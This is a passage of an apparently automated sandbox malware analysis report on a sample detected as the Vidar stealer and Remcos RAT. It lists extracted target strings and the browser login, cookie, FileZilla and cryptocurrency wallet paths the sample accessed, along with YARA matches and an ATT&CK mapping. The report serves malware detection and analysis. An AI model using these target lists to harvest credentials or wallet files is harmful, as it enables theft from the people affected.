Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: o.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|Flash\|%DRIVE_REMOVABLE%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: o.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|Flash\|%DRIVE_REMOVABLE%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: SolarSys.pif	Binary or memory string: WIN_81
Source: SolarSys.pif	Binary or memory string: WIN_XP
Source: SolarSys.pif	Binary or memory string: WIN_XPe
Source: Hist.pif.2.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyteP
Source: SolarSys.pif	Binary or memory string: WIN_VISTA
Source: SolarSys.pif	Binary or memory string: WIN_7
Source: SolarSys.pif	Binary or memory string: WIN_8

Source: Yara match	File source: 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3072148698.00000000015DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Hist.pif PID: 4368, type: MEMORYSTR

Remote Access Functionality

Detected Remcos RAT

Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-6MRD2P

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 11.2.Hist.pif.4d20000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Hist.pif.4953a50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Hist.pif.4953a50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.2555154837.0000000004954000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3073354525.0000000004920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3072722051.0000000004620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2555196577.0000000004D28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3073354525.0000000004953000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3073627250.0000000004D21000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2555073817.00000000046A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2555115715.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Hist.pif PID: 4368, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00096733 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	11_2_00096733
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00096BF7 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	11_2_00096BF7
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003B6733 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	38_2_003B6733
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003B6BF7 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	38_2_003B6BF7

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	11 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	28 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	11 Masquerading	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Valid Accounts	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	124 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Virtualization/Sandbox Evasion	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mg9LPWGtPB.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
mg9LPWGtPB.exe